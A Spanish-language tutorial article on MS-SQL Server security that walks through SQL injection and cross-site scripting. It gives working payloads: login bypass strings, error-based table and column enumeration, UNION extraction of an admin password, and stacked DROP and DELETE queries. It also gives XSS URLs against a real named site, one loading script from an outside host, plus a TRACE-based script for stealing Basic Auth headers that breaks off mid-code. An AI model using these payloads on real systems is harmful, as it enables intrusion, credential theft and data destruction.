- MICROSOFT (Y Su RDBM):
Microsoft SQL Server es un sistema Manejador de Bases de
Datos Relacionales (RDBM), como
los que estuvimos describiendo arriba, basado en el lenguaje SQL, capaz de poner a
disposición de muchos usuarios grandes cantidades de datos
de manera simultánea. Éste tiene algunas ventajas que
a continuación pueden nombrarse:
- Soporte de transacciones.
- Gran estabilidad.
- Mayor seguridad.
- Escalabilidad.
- Soporte de procedimientos
almacenados. - Potente entorno gráfico de administración.
- Trabajo en modo cliente–servidor.
- Administración de información en otros
servidores de
datos.
Más allá de sus aptitudes, el Proyecto mismo surge cuando las
Políticas Visionarias
de IBM no parecían "apuntar" a la mismas tendencias de MS;
quienes (por la década del `90) empezaban a tener conflictos con aquellas
alianzas que parecían haberlos catalogados como un
"monstruo de dos cabezas" (al parecer -ya- no
invencible).
En medio de este escenario, MS sabía que
tenía que conseguir ganar en "sus negocios" y no podía
dejarse estar. Para ello, requeriría de aplicaciones
comerciales que aprovecharan el potencial de su nuevo desarrollo tecnológico:
el tan temido Windows NT.
Con esto "en mente", SE aprovechó de lo que se
había estado haciendo en los
laboratorios compartidos de su anterior asociación
(IBM-MS), y tomó a Sybase como su predilecta "mascota"
para el manejo de bases de datos relacionales
(RDBM); decidiendo portarlo (en aquel momento) a su más
reciente plataforma (SO).
De esta forma, en el año 1992 nacía la
primer Versión Beta de MS-SQL, bajo el nombre "Microsoft SQL Server 4.2 V.
1 for Windows NT", la cual no se
distribuiría sino hasta principios del año
1993.
Fue así que, a través del paso del tiempo y otros hitos
mediante, se fueron sucediendo varias versiones de lo mismo
hasta llegar a la actual preexcelencia (MS-SQL Server 2003);
constituyendo la alternativa/competencia monoplataforma de
Microsoft a otros potentes sistemas gestores de bases de
datos relacionales como son Oracle, MySQL y
PostgreSQL.
Además, vale constatar que este sistema incluye
una versión reducida (Express), llamada MSDE, con
el mismo motor de base de datos pero orientado
a proyectos más
pequeños, como los desempeñados por las PyMEs.
Ahora bien, pero… ¿A qué se debe la
necesidad de tal breve reseña histórica desplegada
sobre el tema?
Sorprendentemente, el legado informático
evolucionado en el contexto arriba remarcado, no fue
suficiente para impedir las vulnerabilidades sobre cualquier
Sistema de Gestión/Administración de Bases
de Datos (independientemente de su empresa desarrolladora y
versión conocida del producto en el mercado actual). Consistiendo,
así, que numerosos errores y/o desperfectos ocurridos a lo
largo de estas épocas (tan resurgentes e impactantes para la
Seguridad Informática)
devinieran (en algunos casos) relacionados/vinculados a
mecanismos que se han heredado del antiguo Sistema de Seguridad
propuesto en los productos iniciales; los
cuales no tenían una verificación y evaluación exhaustiva sobre
las premisas de La Seguridad (valga todo este "juego de
palabras").
De ahí, vuestro interés en seguir
estudiando, investigando y desdoblando los estados, patrones y
comportamientos emblemáticos de este apasionante Mundo
Digital; al cual, lo invito para contemplarlo a
continuación…
Desarrollo
("Poniéndonos a Punto")
- Aspectos Básicos del SQL:
El SQL es un lenguaje de acceso a bases
de datos que explota la flexibilidad y potencia de los sistemas
relacionales permitiendo gran variedad de operaciones sobre los mismos.
Es un lenguaje declarativo de alto nivel o de no
procedimiento, que gracias a su fuerte base teórica y
su orientación al manejo de conjuntos de registros, y no
(comúnmente) a registros individuales, permite una alta
productividad en codificación. De esta
forma una sola sentencia puede equivaler a uno o más
programas que utilizasen un
lenguaje de bajo nivel orientado a registro.
El SQL proporciona una rica funcionalidad más
allá de la simple consulta (o recuperación y
modificación) de datos. Asume los siguientes grupos de comandos
principales:
- DCL (Data Control Language) ->
Comandos del lenguaje para el control de datos
- DDL (Data Definition Language) -> Comandos del
lenguaje para la definición de datos
- DML (Data Manipulation Language) -> Comandos del
lenguaje para la manipulación de datos
- Cláusulas (Statements) -> Disposiciones
para la declaración de condiciones
- Operadores de Comparación (Símbolos) ->
Conjunto de ejecutores de procesos
comparativos
Para ver de forma clara un mero Diagrama de Flujo que lo
exhiba, tenemos:
Entonces, haciendo uso de la correcta combinación
de estos comandos, cláusulas y operadores, seremos capaces
de establecer fuertes "sentencias" o "consultas" que una
vez enviadas al Software DB, serán
procesadas, y arrojarán un resultado que responda al
criterio de selección utilizado en
vuestra sintaxis.
También, debemos destacar que el SQL permite
(fundamentalmente) dos modos de uso:
- Un uso interactivo: destinado principalmente
a los usuarios finales avanzados u ocasionales, en el que las
diversas sentencias SQL se escriben y ejecutan en línea
de comandos o un entorno semejante. - Un uso integrado: destinado al uso por parte
de los programadores dentro de desarrollos escritos en
cualquier lenguaje de programación
natal. En este caso se asume el papel de sublenguaje de
datos.
Por lo tanto, en el caso de hacer un uso embebido del
lenguaje, podemos utilizar dos técnicas alternativas de
programación:
- SQL estático: las sentencias utilizadas
no cambian durante la ejecución del programa. - SQL dinámico: se produce una
modificación total o parcial de las sentencias en el
transcurso de la ejecución del programa. Esta permite
mayor flexibilidad y complejidad en las sentencias, pero como
contrapunto obtenemos una eficiencia menor, y el uso de
técnicas de programación suele ser engorrosa para
el manejo de la memoria y variables.
Bueno, a modo de Ejemplo consignamos:
- SELECT * FROM Alumnos
(Muestra todos los registros de
datos correspondientes a los alumnos de la tabla que lleva su
nombre).
- SELECT * FROM Alumnos WHERE Apellido =
'Acosta'
(Muestra aquellos registros de datos correspondientes
a alumnos con el apellido "Acosta" en tal tabla).
- SELECT * FROM Alumnos WHERE Nombre =
'Maximiliano' AND Apellido = 'Acosta'
(Muestra aquellos registros de datos correspondientes
a alumnos con el nombre "Maximiliano" y el apellido "Acosta" en
tal tabla; restringiendo un conjunto de resultados menores que
el anterior caso).
- UPDATE Logins SET Password = 'cr3amfi3ld5' WHERE
user = 'root'
(Actualiza -cambia- la contraseña del usuario
detallado por el valor indicado
-"cr3amfi3ld5"-).
- SELECT numemp, nombre FROM empleados WHERE
deudas > tope
(Lista el Nº de empleado y su nombre en aquellas
personas cuyas deudas superan el tope permitido).
- SELECT numemp, nombre FROM empleados WHERE
contrato <=
#01/01/2000#
(Lista los empleados contratados para la fecha
estipulada o menor que la misma).
- SELECT numemp, nombre FROM empleados WHERE
ventas BETWEEN 300 AND
700
(Lista los empleados cuyas ventas estén
comprendidas entre 300 y 700).
- DELETE * FROM Clientes WHERE Provincia =
'Landeta'
(Elimina a todos los clientes que pertenezcan al
pueblo especificado -"Landeta"-).
- CREATE TABLE Usuarios (
Nombre VARCHAR (30),
ID CHAR(5),
Caduca DATE NOT NULL,
PRIMARY KEY (ID)
)
(Crea una tabla con el nombre de "Usuarios" e
incluye los campos con sus respectivos tipos de
datos).
Entre otros tantos paradigmas y/o modelos a tener en cuenta,
que Ud. puede profundizar a través de la vasta, (in)finita
y tan adorada "Red de Redes" (Internet).
¡Perfecto! Ahora, sin dejar a nadie de lado por
desconocimiento ("La Información le pertenece a La
Humanidad y, por tanto, a todas las Personas que así lo
deseen; siendo Universal, Libre y Gratuita"), nos
concentraremos en el Quid en Cuestión de La Nota (su tema
principal y semblantes derivados del mismo)…
- Seguridad Integral en MS-SQL
Server:
¿Puede conseguirse qué un producto de este
tipo sea Integralmente Seguro con su "instalación
por defecto"?
Terminantemente, y sin temor para aseverar mi
opinión, ¡NO! Pues, hasta vuestros días, no
existe implementación de sistema alguno (ya sean estos, DB
o Aplicativos) que no deban ser idóneamente configurables
para los planes estipulados por el organismo al cual se "rinde
cuentas".
Por lo tanto, algunas recomendaciones a seguir
quedarán en los siguientes escenarios
prácticos:
- Cuentas por Defecto: Tan renombrado y
conocido conjunto de palabras, aunque no lo parezcan, suelen
ser el motivo más perjudicial para la administración de
Sistemas de tal índole; causando que estos se
transformen en "presas fáciles" para ciertas personas
astutas (creídas Hackers) que pululen por
ahí. Por ende, la Cuenta Maestra que se genera durante
la Instalación Predetermina de MS-SQL Server recibe el
nombre de "SA" (System Administrator) y, como era
sustento de sospechas, su contraseña predefinida es,
sencillamente, "" (¡Nada! ¡En Blanco!).
Entonces, ¿qué podría ocurrir en caso
de que alguien accediera al Sistema con tales
privilegios?
En una vacilante respuesta: ¡Una Catástrofe!
No habría límites para quién lo
halla obtenido.
- NetLibs y Puertos por Defecto: MS-SQL Server
soporta múltiples conexiones de red en cuanto a puertos
y librerías se refiere (NetLibs). Esto le permite al
Administrador del Sistema
manejarse con total libertad para otorgar
"tipos de enlaces de trabajo" según crea
convenientes. Algunos ejemplos son: TCP/IP, Named Pipe, SAN,
AppleTalk, IPX/SPX, etcétera.
Sin embargo, a pesar de que el riesgo que se corre con lo
arriba detallado no suele ser mayor, el Servidor MS-SQL
quedaría delatándose con su estado en el Puerto 1443.
Y, eso es una falta grave para ser aprovechada por otros en
cuestión de saber su "posicionamiento" y contexto
involucrado.
- Buffers Overflows: No está demás
decir que MS-SQL Server obtuvo cierta fama de "frágil"
por los Desbordamientos de Buffers encontrados en el pasado.
Y, por ende, nuevas variantes de los mismos en el presente.
Por eso, el tratamiento de paquetes (UDP/TCP) por parte del
Sistema estará resguardado en aquel Administrador con
aptitudes de actualizarse apenas sean anunciados los
Boletines de Advertencias Críticas (o, no "tan
críticas", que después terminan siéndolo) para
incluirlas al Sistema y asegurar "su futuro" (en todo
sentido).
Pero, como no es la intención de esta Nota
extenderse sobre tales vulnerabilidades, simplemente
nombraremos aquellas que han sabido estar vinculadas a la
llamada del Sistema en manos de "srv_paraminfo()". Por
ende, los contenidos procedimentales que "abusan" de ella para
Exploits son:
- xp_peekqueue
- xp_printstatements
- xp_proxiedmetadata
- xp_setsqlsecurity
- xp_sqlagentmonitor
- xp_enumresultset
- xp_showcolv
- xp_displayparamstmt
- xp_updatecolvbm
Por ende, usar tales "Procedimientos Almacenados
Extendidos" (Transact SQL), propios (solamente) de
MS-SQL Server, cabe dentro de las posibilidades de "hacerse"
de una Cuenta un tanto especial (dada, exclusivamente,
por el "SA") y una Shell Remota (Intérprete de Comandos
Externo) a nivel del SO. Con tales perspectivas, el
compromiso (altamente peligroso) que (ahora) posee el Host
(Anfitrión) es inaudito. Y, vuestras desventajas vuelan
por doquier.
En definitiva, cada uno llevará a cabo sus
ataques con ciertas artimañas/artilugios propios de sus
criterios. Los cuales harán de los supuestos nombrados
potenciales embestidas en cualquier Sistema MS-SQL Server (u
otro de similar categoría) y un probable daño a reportarse
cuando "menos se lo espera" y "más suele
doler"…
- SQL Injection (Inyección
SQL):
Por fin llegamos al motivo vital de esta Nota. Pero,
¿a qué se denomina Inyección SQL (SQL
Injection)?
Se llama así a una vulnerabilidad informática en el nivel
de base de datos de una aplicación dinámica.
El origen es el filtrado incorrecto de las variables
utilizadas en las partes del programa con código embebido SQL.
Es, de hecho, un error de una clase más general de
vulnerabilidades que puede ocurrir en cualquier lenguaje de
programación o de Script que esté incrustado dentro
de otro. O sea, como si fuera un "mensaje subliminal" en una
publicidad; todos han de notar
la idea del Marketing, pero pocos
descubren lo que se esconde detrás de esta y sus
alrededores.
Entonces, una Inyección SQL sucede cuando se
inserta o "inyecta" (de ahí su nombre metódico) un
código SQL "invasor" dentro de otro código SQL
"nativo" para alterar su funcionamiento normal, y hacer que se
ejecute maliciosamente el código "asaltante" en la base de
datos y su entorno.
La Inyección SQL es un problema de seguridad
informática que debe ser tomado en cuenta por el
programador/diseñador Web (normalmente apodado
Webmaster) para prevenirlo. Un programa hecho con
descuido, displicencia, o con ignorancia sobre el
inconveniente, podrá ser vulnerable (y posteriormente
explotable), provocando que la seguridad del sistema puede
quedar seriamente comprometida. Esto puede suceder tanto con
programas corriendo en PC Desktops, Notebooks, como en
Servidores que alojan Portales Webs; ya que todo depende de
tales Sistemas o Aplicativos ejecutándose en
ellos.
Así, la vulnerabilidad puede ocurrir cuando un
programa o artífice humano "arma" descuidadamente una
sentencia SQL, con parámetros dados por el usuario, para
luego hacer una consulta a una base de datos. Dentro de los
parámetros dados por el usuario podría venir el
código SQL inyectado. De esa forma, al ejecutarse esa
consulta por la base de datos, el código SQL inyectado
también se ejecutará y podría hacer un
sinnúmero de cosas, como por ejemplo: insertar registros,
modificar o eliminar datos, autorizar accesos e, incluso,
ejecutar código malicioso en el Terminal correspondiente
(o no).
Bueno, ahora… ¡Vayamos a lo nuestro!
Sumerjámonos en los Modelos Prácticos
(Paradigmas) obtenidos.
Asumiendo que el siguiente código está en
una Aplicación Web y que existe un parámetro "Nombre
Usuario" que contiene (valga la reiteración) el nombre de
usuario otorgado por nosotros, la Inyección SQL posible
es:
Consulta Web :=
"SELECT * FROM usuarios WHERE
nombre = '" + nombreUsuario + "';"
Si el usuario escribe su nombre, digamos "Javier",
nada anormal sucedería. La aplicación generaría
una sentencia SQL similar a la siguiente, que es cabalmente
correcta, donde se seleccionaría al usuario
mismo:
SELECT * FROM
usuarios WHERE nombre = 'Javier';
Pero, si un usuario malintencionado confecciona la
posterior sintaxis, los resultados no serían para nada
ansiados:
"'Javier'; DROP TABLE usuarios;
SELECT * FROM datos WHERE nombre LIKE
'%'"
Lo ocurrido generaría la siguiente consulta SQL
(el color verde es lo que pretende
el programador, el azul es el dato, y el rojo, el código
SQL Inyectado):
SELECT * FROM
usuarios WHERE nombre = 'Javier'; DROP TABLE
usuarios;
SELECT * FROM datos
WHERE nombre LIKE '%';
Asimismo, la DB ejecutaría la consulta en orden:
seleccionaría el usuario "Javier", borraría la tabla
"usuarios" y seleccionaría datos que quizá no
están disponibles para los usuarios Web comunes.
En resumen, cualquier dato de la DB está disponible para
ser leído o modificado por un usuario malintencionado (y,
lo peor del caso, sin evidentes restricciones).
¡Wow! Pareciera increíble que con un "simple
navegador para Internet" una persona pudiera realizar esto,
¿no?
A continuación, quedará
demostrado:
Imaginemos un Sitio Web "www.soylavictima.com" que se
dedica a la venta de libros. El mismo usa
páginas ASP y una base de datos
gestionada con MS-SQL Server. Está ubicado…
¿Quién sabe dónde? Si, total, cualquiera lo
tiene y puede alcanzarlo remotamente.
Pues, cuando hacemos clic en uno de los libros
ofertados en la página principal se muestra su detalle en
la siguiente dirección (la cual
indica la selección del elemento para operar con
este):
www.soylavictima.com/detbooks.asp?ID=136
Esa dirección indica que se muestre el contenido
de la página "detbooks.asp" para el libro número 136 (ese
es el código único del libro en la base de datos). El
identificador SQL interno de la página ASP será
similar a este:
SELECT * FROM Books
WHERE Code = ID
Donde "ID" es el código del libro que aparece en
la dirección de la página. Esto enviará a la
base de datos la siguiente instrucción:
SELECT * FROM Books
WHERE Code = 136
Y la base de datos devolverá todos los campos del
registro de la tabla "Books" que tenga el código 136
(supuestamente, si es único, no sería más que
uno).
Bien… Pero, ¿dónde está el
problema? El problema está en que el valor de "ID" se
envía a la base de datos sin verificarlo, con lo cual,
modificando este valor (en el caso dispuesto, 136), es posible
alterar la instrucción que se envía a la DB. Por
ejemplo, escribiendo la dirección de la página en el
navegador de esta manera:
www.soylavictima.com/detbooks.asp?ID=136; DELETE *
FROM Books
Pues, lo que estaríamos enviando a la base de
datos sería la siguiente instrucción (a modo de
sintaxis):
SELECT * FROM Books
WHERE Code = 136; DELETE * FROM Books
Lo que pasa es que MS-SQL Server (como muchas otras
sintaxis de muchos otros SGBD) toma el carácter ";" como una
separación de instrucciones, con lo que después de
hacer el SELECT ejecutará la instrucción DELETE,
borrando todos los registros de la tabla de "Books". Divertido,
¿verdad? Aún, falta lo mejor.
Incluso, una forma sencilla e inofensiva de comprobar
si un Sitio Web sufre esta vulnerabilidad, es anteponer una
comilla simple " ' " al valor del parámetro elegido, para
provocar un error de sintaxis en el Portal "objetivo" (la
instrucción no es correcta). Por ejemplo:
www.soylavictima.com/detbooks.asp?ID='136
Esto enviará a la base de datos la
instrucción siguiente:
SELECT * FROM Books
WHERE Code = '136
Entonces, MS-SQL Server no reconocerá la comilla
simple como parte de la instrucción y nos devolverá
un mensaje de error indicándolo. De esta manera, podemos
saber si es posible alterar la instrucción que se
envía a la base de datos. En resumen, hacer SQL Injection
;-).
Empero, hace un rato anunciaba que faltaba muy poco
para "lo mejor". Pues, "lo mejor" ha llegado…
A medida que incursionemos en los siguientes
prototipos, la complejidad de los mismos irá aumentando
paulatina y progresivamente. De ese modo, tómense el
tiempo que les sea necesario para entenderlos o ponerlos "en
marcha" y, luego, sigan con los Ejercicios que se disponen o
tengan en mente ustedes (sólo su imaginación
será barrera para imponer límites/obstáculos; no
Yo con Mis Aportes).
Un ejemplo (un poco) más práctico sería
el siguiente:
Tenemos un formulario que nos pide que introduzcamos
un nombre de usuario y una contraseña (conocido en la
jerga con el nombre de Login). El servidor ejecuta una
sentencia SQL para verificar que existe el usuario y que su
contraseña es la que hemos introducido (validación
del Login). Entonces, la sentencia SQL podría
ser:
SELECT * FROM Usuarios
WHERE Username = 'usuario' AND Password =
'contraseña'
Utilizando vuestros conocimientos aprendidos, se
podría modificar la sentencia para "jugar a nuestro
favor".
Supongamos que conocemos la existencia de un usuario llamado
"admin" y queremos entrar en el sistema usando sus
credenciales. Evidentemente, desconocemos su contraseña,
pero podría ser remediable.
Por eso, vamos a utilizar como contraseña ' OR
'' = '' ' (nótense las comillas simples) para
modificar la sentencia y convertirla en:
SELECT * FROM Usuarios
WHERE Username = 'admin' AND Password = '' OR
''=''
Probablemente, la contraseña del usuario no sea
nula (''), pero hemos modificado la sentencia para que nos
devuelva el usuario gracias a la introducción del
parámetro "OR" que compara la expresión ' ' = ' '.
Lógicamente, ' ' = ' ' es verdadero, así que el
servidor nos permitirá la entrada.
¡Tremendo! A pesar de que poder acceder a una página Web sin proveer la
contraseña correcta es un error enorme, las posibilidades
de inyección de código SQL van mucho más
allá. Y lo trataremos a
continuación…
La parte complicada de este método no es encontrar las
respuestas a las preguntas, sino ser lo suficientemente
inteligente como para formular las preguntas adecuadas a
nuestros planes. Y esto no sólo lo digo Yo, el
mismísimo GENIO Albert Einstein lo pronunciaba en
una de sus Frases Célebres: "La elaboración de una
pregunta (si está bien hecha) suele ser más
importante que su propia respuesta".
El problema residente en la anterior sentencia SQL
(armada a medida por nosotros) es que para poder hacer las
modificaciones descritas necesitamos saber de antemano la
estructura de la DB, esto
es, nombre de las tablas y campos que la componen (como
mínimo y necesario). De por cierto, está claro que,
como "norma general", siempre desconoceremos la estructura de
la DB, lo cual trunca un poco vuestras expectativas. Pero, ello
no impide que nuestro ingenio (o ingeniería social,
en algunos asuntos aislados) nos lleve a destinos más
prósperos.
Por lo tanto, tomando como analogía
metafórica escolástica nuestro "medio ambiente" disertaremos
sobre ello.
Con su permiso y honorable consideración,
Yo voy a ejercer de maestro, y mi alumno
aplicado va a ser un Servidor SQL. ¡No se enojen!
Por supuesto, ustedes también serán mis alumnos, pero
lo que les diferencia de un Servidor SQL es, sencillamente, la
razón lógica de que un
Servidor SQL nunca se convertirá en un maestro.
Fijemos "la atmósfera": una
Aplicación Web programada en VBScript accede a una base de
datos almacenada en un servidor gestionado con Microsoft SQL
Server. La aplicación requiere de un nombre de usuario y
de una contraseña para ingresar. Además, sabemos que
la aplicación no efectúa una comprobación de los
datos que introduce el usuario (como suponíamos en
muestras anteriores).
Por lo tanto, para empezar, introducimos como
nombre de usuario lo siguiente:
' HAVING
1=1–
Lo cual producirá un error y el servidor nos
devolverá:
Microsoft OLE DB
Provider for ODBC Drivers error '80040e14'
[Microsoft] [ODBC SQL
Server Driver] [SQL Server] Column 'Usuarios.ID' is invalid in
the select list because it is not contained in an aggregate
function and there is no GROUP BY clause.
/login.asp, line 13
Como alumno responsable, el Servidor SQL nos da la
respuesta adecuada a nuestra pregunta. El uso de la comilla
simple (') en el nombre de usuario nos ha permitido modificar
la sentencia SQL para poder usar "HAVING". La secuencia de
caracteres "–" se usa para indicar que lo que sigue a
continuación es un comentario de una sola línea, y en
consecuencia el servidor ignorará lo que siga.
Pues, si la sentencia original fuera:
SELECT * FROM Usuarios
WHERE Username = '' AND Password = ''
La modificación efectuada la habría
convertido en:
SELECT * FROM Usuarios
WHERE Username = '' HAVING 1=1–' AND Password =
''
La transformación de esta sentencia nos ha
proporcionado dos interesantes respuestas: el nombre de la
tabla (Usuarios) y el nombre de uno de los campos de la tabla
(ID); visto en el error arriba conseguido.
¡Too Much! La siguiente pregunta la enunciaremos
introduciendo en el nombre de usuario lo siguiente:
' GROUP BY Usuarios.ID
HAVING 1=1–
Lo cual producirá un nuevo error y el servidor
nos mostrará:
Microsoft OLE DB
Provider for ODBC Drivers error '80040e14'
[Microsoft] [ODBC SQL
Server Driver] [SQL Server] Column 'Usuarios.Username' is
invalid in the select list because it is not contained in an
aggregate function and there is no GROUP BY clause.
/login.asp, line 13
¡Sonríe! Otra respuesta del servidor que nos
proporciona otro de los campos de la tabla Usuarios
(Username).
De esta manera, podemos continuar haciendo preguntas
hasta que lleguemos a introducir como nombre de usuario lo
siguiente:
' GROUP BY Usuarios.ID,
Usuarios.Username, Usuarios.Password, Usuarios.Privilege HAVING
1=1–' AND …
Así, este nombre de usuario no producirá
ningún error porque es equivalente a haber modificado la
sentencia SQL por la siguiente:
SELECT * FROM Usuarios
WHERE Username = ''
Llegado este punto ya conocemos todos los campos de la
tabla usuarios (ID, Username, Password y Privilege) e incluso
el orden en que ellos se encuentran.
Otra información que estamos interesados en
conocer es el tipo de datos que se albergan en cada campo. Para
ello formularemos nuevas (y rebeldes) preguntas.
Por ende, como nombre de usuario
utilizaremos:
' UNION SELECT
SUM(Username) FROM Usuarios–
Y el "reverendo" servidor nos
devolverá:
Microsoft OLE DB
Provider for ODBC Drivers error '80040e07'
[Microsoft] [ODBC SQL
Server Driver] [SQL Server] The sum or average aggregate
operation cannot take a varchar data type as an
argument.
/login.asp, line
13
Como buen alumno, el servidor nos ha facilitado el
tipo de dato que se aloja en los campos Username
(varchar, es decir, caracteres alfanuméricos). La
función SUM()
intenta sumar todos los resultados de la sentencia, pero esta
acción no puede
efectuarse (a menos que los resultados sean numéricos);
por eso el error da sus réditos.
Por el momento, los interrogantes formulados han
facilitado información acerca de la estructura de la DB.
Pero, todavía no nos han develado nada acerca del
contenido de la misma. Ahora, que conocemos parte de la
estructura de la base de datos, conseguir la información
contenida en ella es (relativamente) viable. Para ello, y como
hemos venido haciendo hasta ahora, introducimos el siguiente
nombre de usuario:
' UNION SELECT
MIN(Username),1,1,1 FROM Usuarios WHERE Username >
'a'–
¿¡Qué ocurre!? Bueno, para que el
UNION SELECT se pueda ejecutar, es necesario facilitar
tantos valores como campos tiene la
tabla. Es decir, como la tabla contiene cuatro (4) campos se
hace necesaria la introducción de cuatro (4) valores, que
en este caso han sido tres (3) "unos" (1). Además, en este
ejemplo, la cláusula WHERE provoca que la sentencia
nos devuelva el primer usuario que empiece por la letra "a".
Asimismo, el mensaje de error del servidor nos indica que no se
puede pasar un campo de tipo varchar a la función
MIN():
Microsoft OLE DB
Provider for ODBC Drivers error '80040e07'
[Microsoft] [ODBC SQL
Server Driver] [SQL Server] Syntax error converting the varchar
value 'admin' to a column of data type int.
/login.asp, line 13
Y… ¡Cómo no! Podemos probar lo mismo
para averiguar la contraseña. Usando como nombre de
usuario:
' UNION SELECT
MIN(Password),1,1,1 FROM Usuarios WHERE Username =
'admin'–
De esa forma, obtenemos el siguiente error:
Microsoft OLE DB
Provider for ODBC Drivers error '80040e07'
[Microsoft] [ODBC SQL Server Driver] [SQL Server] Syntax error
converting the varchar value 'seledonio' to a column of data
type int.
/login.asp, line 13
Ahora, ya conocemos el nombre de usuario
(admin) y su contraseña
(seledonio).
A estas alturas, si fuéramos los protagonistas de
una película, estaríamos viendo la tan anhelada
escena en la cual aparecen en la pantalla del ordenador unas
letras muy grandes de color verde en las que se puede
leer: "Access
Granted".
Pero, Yo confío (plenamente) en ustedes con saber
que no "creen todo lo que ven" (las apariencias
engañan).
Por otra parte… ¿Qué pudiera suceder
en caso de que apliquemos tales conceptos de Programación
Lógica a la alteración de datos (según
vuestras pretensiones)?
¿Todavía siguen buscando una respuesta?
Pues, acá, ello se resuelve…
- Inserción:
';INSERT INTO
Usuarios VALUES (1,'ROOT','p3p1t0','0')–
SELECT * FROM
Usuarios WHERE Username = '';
INSERT INTO Usuarios
VALUES (1,'ROOT','p3p1t0','0')–' AND Password
=''
- Modificación:
';UPDATE Usuarios
SET Password = 'p3p1t0' WHERE Username =
'admin'–
SELECT * FROM
Usuarios WHERE Username = '';
UPDATE Usuarios SET
Password = 'p3p1t0' WHERE Username = 'admin'–' AND Password
=''
- Eliminación:
';DELETE FROM
Usuarios WHERE Username = 'admin'–
SELECT * FROM
Usuarios WHERE Username = '';
DELETE FROM Usuarios
WHERE Username = 'admin'–' AND Password =''
Encima, tales conceptos de Inseguridad Informática
a nivel DB con aplicaciones dinámicas, no concluye
aquí.
También se conoce, en los "oscuros lugares" de La
Querida Red, una táctica denominada Blind SQL
Injection (Ataque Ciego de Inyección SQL), la cual es
utilizada cuando una página Web (por motivos de
"seguridad") no muestra mensajes de error de la DB al no haber
un resultado correcto, mostrándose siempre el mismo
contenido. Es decir, lo opuesto a lo que veníamos
revelando.
En tales medios, sentencias del tipo
"OR 1=1" o "HAVING 1=1" ofrecen respuestas
siempre correctas por lo que son usadas como
comprobación.
Ahora, en tales asuntos, el inconveniente para la
seguridad de la página está en que esta técnica
es utilizada en combinación de diccionarios o fuerza bruta para la
búsqueda carácter por carácter de una
contraseña, un nombre de un usuario, un número de
teléfono o cualquier
otra información que albergue la base de datos atacada;
para ello se utiliza código SQL específico que "va
probando" cada carácter consiguiendo resultados positivos
cuando hay coincidencia alguna. De esta manera, se puede saber,
por ejemplo, que una contraseña comienza por "T…", luego
"TU…", posteriormente "TUX…", y así hasta dar con la
palabra completa (¿"TUXEDO"?).
- XSS (Cross Site Scripting):
Además, aunque no pertenece a esta misma
categoría de Vulnerabilidades pero está estrechamente
relacionada, me animo a nombrar el Fantasma XSS
(Cross Site Scripting).
¿De qué se trata "todo esto"?
Es un ataque basado en la explotación de
vulnerabilidades del sistema de validación de HTML incrustado; surgido como
consecuencia de errores de filtrado de las entradas de un
usuario en Aplicaciones Web.
El problema reside en que, normalmente, no se valida
correctamente el ingreso de datos malintencionados por parte de
un agente externo. Esta "lasitud" puede estar presente de forma
Directa (Foros, Mensajes de Error), Indirecta
(Redirecciones, FrameSets) o con una variante poco conocida de
AJAX. Cada una se tratará de forma disímil en
la siguiente comparación:
- Directa:
Este tipo de XSS es el que normalmente se censura;
así que es muy poco común que puedas usar Tags
como <script> o <iframe>.
Su cardinal funcionalidad efectúa la
localización de puntos débiles en la
programación de los filtros. De esa forma, se logra (en
caso de fallas en el Código Web) quitar los
<iframe>/<script>, donde el atacante
siempre puede poner un <div> malicioso,
<u> o incluso un <s> con motivos
perniciosos. Sin embargo, estos son Tags (casi) siempre
permitidos.
Algunas simples muestras se evidencian en los
siguientes casos prácticos copiados y pegados
(directamente) a la Barra de Dirección de su Navegador
Web:
http://www.apress.com/ecommerce/cart.html/'><script>alert('XSS
(Cross Site Scripting) ¡Presente! Powered By:
^[(CR[arroba]M3R)]^')</script><
O… Algo más bonito:
http://www.apress.com/ecommerce/cart.html/'><script
src="http://cotelan.com.ar/JS.js"></script><
- Indirecta:
Este es un tipo de "debilidad" muy común y poco
explotada. Consiste en modificar valores que la Aplicación
Web utiliza para pasar variables entre dos páginas, sin
usar sesiones de por medio para su aprobación. Sucede
cuando hay un mensaje o una ruta en la URL del navegador o en
la Cookie.
Para saber el contenido de una Cookie puedes usar el
siguiente Script. Sólo colócalo en la Barra de
Direcciones y presiona Enter:
javascript:void(document.cookie=prompt("¿Modifica
la Cookie?",document.cookie).split(";"));
Una vez dentro, se puede modificar la Cookie a tu
antojo. Si pones "Cancelar" la misma será
borrada.
Otro ejemplo más atractivo se encuentra en el
manejo de FrameSets. Por eso, para que lo notes tú
mismo, te invito a probarlo con el uso de los pasos
anteriormente enunciados:
javascript:while(1)alert("¿Podrás Conmigo
"Tonto Usuario de PCs"?");
Como podemos ver, ese mismo enlace podría ponerse
por un intruso en un foro.
Un navegador incauto, va a verlo y dirá: "Bueno, es del
mismo dominio, no puede ser nada malo
y…". De resultado tendrá un ¡Molesto Ciclo
Infinito!
Pero, vamos a ponernos en la "piel de un experto". O sea,
tratar de colocar un Script que tome tu Cookie, y mande un
MSJ al Administrador, o incluso, que borre todos los
mensajes de un foro predeterminado como "blanco". Pues,
sería algo ¡terrible!
El robo de Cookies es lo más básico y
funcional para un manojo de Newbies "In The Wild".
¿Y eso de qué sirve?
Tengo el PHPSESSID, y si el usuario cierra
sesión no sirve de nada.
Cierto, pero con el uso de la librería
cURL un usuario malintencionado podría, al recibir
tu Cookie, entrar a la página, y dejarla en caché,
para que el atacante cuando quiera, pueda entrar como tú,
sin siquiera necesitar la contraseña
correspondiente.
Otro uso común para estas vulnerabilidades es
lograr hacer Phishing; o colocar un Exploit.
Esto es… Tú ves la barra de direcciones, y
divisas que estás en
una página, pero realmente estás en otra. Introduces
tu Login u otro tipo de datos personales de alta relevancia
y…
¡Eres un "trofeo de caza" más en la Red del
Engaño!
Por lo tanto, ten en cuenta que lo peor suele hallarse
en sitios de descarga (indiscriminados), que colocan en la
misma URL el sitio de objetivo. Esas páginas Web son
vulnerables a ataques XSS indirectos. O sea que, un intruso
puede colocar una imagen con enlace al sitio
malicioso, y se ejecuta, sin que el usuario lo sepa o tenga
consentimiento de ello.
- AJAX:
Como ya dijimos, este es un tipo de XSS no tan
popular, pero sumamente peligroso.
Se basa en usar cualquier tipo de vulnerabilidad para
introducir un objeto XMLHTTP y desde ahí enviar
contenido POST, GET, y otros derivados, sin
asentimiento ni permiso del usuario.
A modo de ejemplo, el siguiente Script obtiene el
valor de las cabeceras de autenticación de un sistema
basado en Basic Auth. Sólo habría que
decodificarlo, pero es más fácil mandarlo codificado
al Log de Contraseñas. Veámoslo:
var xmlhttp=new
ActiveXObject("Microsoft.XMLHTTP");
// En Mozilla
Firefox es: var xmlhttp = new XMLHttpRequest();
xmlhttp.open("TRACE","./",false);
xmlhttp.send(null);
str1=xmlhttp.responseText;
splitString =
